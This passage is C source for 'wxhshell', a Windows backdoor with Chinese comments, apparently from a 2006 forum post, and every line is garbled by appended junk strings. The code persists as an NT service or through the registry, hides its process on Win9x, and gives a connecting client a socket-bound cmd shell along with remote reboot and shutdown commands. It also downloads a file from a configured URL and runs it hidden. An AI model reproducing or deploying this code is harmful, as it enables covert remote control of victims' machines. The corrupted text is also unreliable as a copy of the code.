M\m:H3[  
    switch(cmd[0]) { `CS\"|z  
  FE!jN-#  
  // 帮助 GLtWo+g0  
  case '?': { {q)d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H_RfIX)X  
    break; iN Oj @3x  
  } %(W&(eN  
  // 安装 8)1q,[:M  
  case 'i': { {k3ItGQ_  
    if(Install()) 0* F` h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f X[xZGV,  
    else E,Rj;?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :lB`K>)iB}  
    break; d*d:-f~q  
    } 3O2G+G2  
  // 卸载 /=p[k^A  
  case 'r': { ] H !ru  
    if(Uninstall()) 2@ZVEN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q&]|W Xv  
    else (2# Xa,pb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #s~;ss ,  
    break; *ai~!TR  
    } $\NqD:fgb  
  // 显示 wxhshell 所在路径 e' l9  
  case 'p': {  7(+4^  
    char svExeFile[MAX_PATH]; yk8b>.Y\A  
    strcpy(svExeFile,"\n\r"); Ljm`KE\Q;t  
      strcat(svExeFile,ExeFile); `#ruZM066  
        send(wsh,svExeFile,strlen(svExeFile),0); n\((#<&  
    break; v@%4i~N  
    } ~x,_A>a  
  // 重启 6AJk6 W^Z  
  case 'b': { bs"J]">(N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {OEjITm  
    if(Boot(REBOOT)) RlL ]p`g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l'(FM^8jv  
    else { v ^h:E  
    closesocket(wsh); ~ZVz sNrx  
    ExitThread(0); (BLxK)0<"  
    } g&  e u  
    break; EU[eG^/0@  
    } dB_0B .  
  // 关机 J]TqH`MA  
  case 'd': { oM!&S'M/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e|{R2z"^  
    if(Boot(SHUTDOWN)) X+]>pA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lZ-U/$od  
    else { S3Y.+. 0U  
    closesocket(wsh); ,N(Yjq"R  
    ExitThread(0); <8b1OdA  
    } (U&  
    break; -SM_JR3<  
    } $$m0mK  
  // 获取shell Z|E9}Il]  
  case 's': { N5*Q nb8  
    CmdShell(wsh); 4tCM 2it%  
    closesocket(wsh); Vr},+Rj  
    ExitThread(0); !4afU:  
    break; csW\Q][  
  } 9s"st\u 4  
  // 退出 < 9,h!  
  case 'x': { MG vz-E1e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s9+):,dKP  
    CloseIt(wsh); ^ 4<D%\  
    break; $~6MR_Yq  
    } 6HK1?  
  // 离开 )=Z;H"_  
  case 'q': { 6 ^3RfF^W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o`c+eMwr(  
    closesocket(wsh); ~Tt@ v`}  
    WSACleanup();  C^"zU>W_  
    exit(1); Fy{yg]O"  
    break; rByth,|  
        } vIJ5iLF  
  } JhFn"(O  
  } [<53_2]~  
Eto"B"  
  // 提示信息 OCrTzz8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V#w$|2  
} `w 6Qsah  
  } HMF2sc$N  
\eKXsO"d  
  return; @~$d4K y<  
} >}*W$i  
:o8`2Z*g  
// shell模块句柄  nz?[  
int CmdShell(SOCKET sock) UAF$bR  
{ #S?^?3d  
STARTUPINFO si; %8n<#0v-|4  
ZeroMemory(&si,sizeof(si)); u*@R`,Y   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #<)[{+f[t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ht2Fi e  
PROCESS_INFORMATION ProcessInfo; Cw(e7K7&  
char cmdline[]="cmd"; 72Bc0Wg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z)C}}NH*!@  
  return 0; #4m5 I="  
} VF2,(f-*  
6#U~>r/  
// 自身启动模式 ]!AS%D`  
int StartFromService(void) FXBmatBck  
{ "v:k5a(  
typedef struct I4N7wnBp  
{ zU!{_Ao9  
  DWORD ExitStatus; <=n;5hv:  
  DWORD PebBaseAddress; [`GSc6j  
  DWORD AffinityMask; `$ f`55e  
  DWORD BasePriority; eWDXV-xD  
  ULONG UniqueProcessId; 4JK6<Pk  
  ULONG InheritedFromUniqueProcessId; nCi ]6;Y  
}   PROCESS_BASIC_INFORMATION; W5Z-s.o  
n' mrLZw  
PROCNTQSIP NtQueryInformationProcess; SEI0G_wk$  
fsjLD|?|:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; myA;Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9wR D=a  
z|3v~,  
  HANDLE             hProcess; @]n8*n  
  PROCESS_BASIC_INFORMATION pbi; S} UYkns*  
1!^BcrG.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #tKks:eL  
  if(NULL == hInst ) return 0; :'bZ:J>f  
Q$U.vF7BnP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }BM`4/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VvW4!1Dl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \YzKEYx+  
: 2%eh  
  if (!NtQueryInformationProcess) return 0; :(XyiF<Ud  
(5jKUQ8Q>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5b"=m9{g  
  if(!hProcess) return 0; Mrk3r/ 8w  
[l^XqD D4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~:JAWs$\V  
bji#ID2]%  
  CloseHandle(hProcess); {oY"CZ2  
7=N%$]DKZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4C?{p%3c  
if(hProcess==NULL) return 0; PJZ;wqTD_  
l\ dPfJ  
HMODULE hMod; 7kV$O(4  
char procName[255]; oA5Qk3b:  
unsigned long cbNeeded; 5 b rM..  
B`QF;,3S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U=JK  
GImPPF  
  CloseHandle(hProcess); ^*l dsc  
C2R"96M7q  
if(strstr(procName,"services")) return 1; // 以服务启动 >e!J(4.-  
dE8f?L'  
  return 0; // 注册表启动 75H!i$(*+  
} <y?+xZM]#|  
SHYekX  
// 主模块 g"n>v c7  
int StartWxhshell(LPSTR lpCmdLine) TFb7P/g  
{ ]7<$1ta  
  SOCKET wsl; 9QP=  
BOOL val=TRUE; h:bx0:O"  
  int port=0; s;P _LaIp)  
  struct sockaddr_in door; fZf>>mu@r'  
H%m^8yW1  
  if(wscfg.ws_autoins) Install(); huv|l6   
a"P & 9c  
port=atoi(lpCmdLine);  Fw[1Aa#  
6?}|@y^fb  
if(port<=0) port=wscfg.ws_port; ,2!7iX  
1.p ?1"4\u  
  WSADATA data; BsXF'x<U*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P4"BX*x  
ij] ~n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9HR1m 3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b [HnhAI  
  door.sin_family = AF_INET; HAE$Np|>a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0>j0L8#^p  
  door.sin_port = htons(port); ds(X[7XGW  
LiHJm-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Uot(3p!S6  
closesocket(wsl); \68bXY.  
return 1; _lI(!tj(  
} 1 sza\pR<  
Tg O]q4  
  if(listen(wsl,2) == INVALID_SOCKET) { H8"RdKwg?  
closesocket(wsl); ,+BFpN'  
return 1; *8qRdI9  
} RQ|K?^k v  
  Wxhshell(wsl); a?Fz&BE  
  WSACleanup(); 1y[~xxgE  
R|Bi%q|4P  
return 0; N@0/=B[n  
c%G~HOE=B  
} rYPuo  
'`}D+IQ(j  
// 以NT服务方式启动 sifjmNP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &56\@t^  
{ 9Q(Lnu  
DWORD   status = 0; zz3{+1w]  
  DWORD   specificError = 0xfffffff; B[sI7D>Y  
}c8et'HYf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |C./gdq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7h/Mkim$5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q) 5s'(  
  serviceStatus.dwWin32ExitCode     = 0; i|H^&$|  
  serviceStatus.dwServiceSpecificExitCode = 0; i`9}">7v~  
  serviceStatus.dwCheckPoint       = 0; pPsTgGai  
  serviceStatus.dwWaitHint       = 0; a)Ht(*/B  
T: '<:*pD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h{yh}04P1  
  if (hServiceStatusHandle==0) return; *@lVesC2  
@?tR-L<u  
status = GetLastError(); zwUZ*Se  
  if (status!=NO_ERROR) S5m.oHJI*  
{ %[*_-%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _JpTHpqu  
    serviceStatus.dwCheckPoint       = 0;  w D  
    serviceStatus.dwWaitHint       = 0;  [Ketg  
    serviceStatus.dwWin32ExitCode     = status; C.=%8|Zy  
    serviceStatus.dwServiceSpecificExitCode = specificError; F$v^S+Ch  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cPL6(&7  
    return; l}S96B  
  } \RVfgfe  
"OP$n-*@%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uG.`  
  serviceStatus.dwCheckPoint       = 0; Tpnwwx[]:|  
  serviceStatus.dwWaitHint       = 0; |&S^L}V.C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h{]0 H'g  
} =*(_sW6;  
Xhyc2DKa_  
// 处理NT服务事件,比如:启动、停止 6a]Qg99\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FzsW^u+  
{ h/aG."U  
switch(fdwControl) G^P9_Sw]d3  
{ , Z1 &MuV  
case SERVICE_CONTROL_STOP: rIv#YqT  
  serviceStatus.dwWin32ExitCode = 0; F9_X^#%L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ka{QjW!%d<  
  serviceStatus.dwCheckPoint   = 0; suX^"Io%!  
  serviceStatus.dwWaitHint     = 0; [mUC7Kpi  
  { q 3,p=ijJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l Hu8ADva  
  } F%ukT6xp  
  return; slA~k;K:_  
case SERVICE_CONTROL_PAUSE: !9zs>T&9a\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (ia+N/$u  
  break; eZpi+BRS6  
case SERVICE_CONTROL_CONTINUE: 0*OK]`9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7m(9|Y:Q.  
  break; l>Zp#+I-  
case SERVICE_CONTROL_INTERROGATE: @MH/e fW.  
  break; '}Jq(ah(  
}; ;M#D*<ucI:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); noWwX  
} gU@.IOg  
~:="o/wo  
// 标准应用程序主函数 >tkU+$;-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >Co@K^'  
{ rt! lc-g%/  
7B gA+Fz  
// 获取操作系统版本 QUdF`_U7  
OsIsNt=GetOsVer(); u"q!p5P%q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qz A)HDQ  
f,+ONV]5Tt  
  // 从命令行安装 (aq^\#9btO  
  if(strpbrk(lpCmdLine,"iI")) Install(); XKBQH(  
L#T`h}1Z  
  // 下载执行文件 scEE$:  
if(wscfg.ws_downexe) { [+dTd2uZ<\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~:4Mf/Ca  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]\=M$:,RZ  
} 8{.:$T  
{M0pq3SL*t  
if(!OsIsNt) { uc;,JX!bN  
// 如果时win9x,隐藏进程并且设置为注册表启动 X2('@Yh  
HideProc(); =H^^AG\}  
StartWxhshell(lpCmdLine); mhnK{M @56  
} "OKsl2e  
else P4"EvdV7  
  if(StartFromService()) }'TZ)=t{J  
  // 以服务方式启动 '$CJZ`nt  
  StartServiceCtrlDispatcher(DispatchTable); {uO2m*JrI  
else :B_ itl0{e  
  // 普通方式启动 'l'[U  
  StartWxhshell(lpCmdLine); (Bfy   
""F' Nzy  
return 0; X@7e 7  
}
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只看该作者 1 发表于: 2006-10-10
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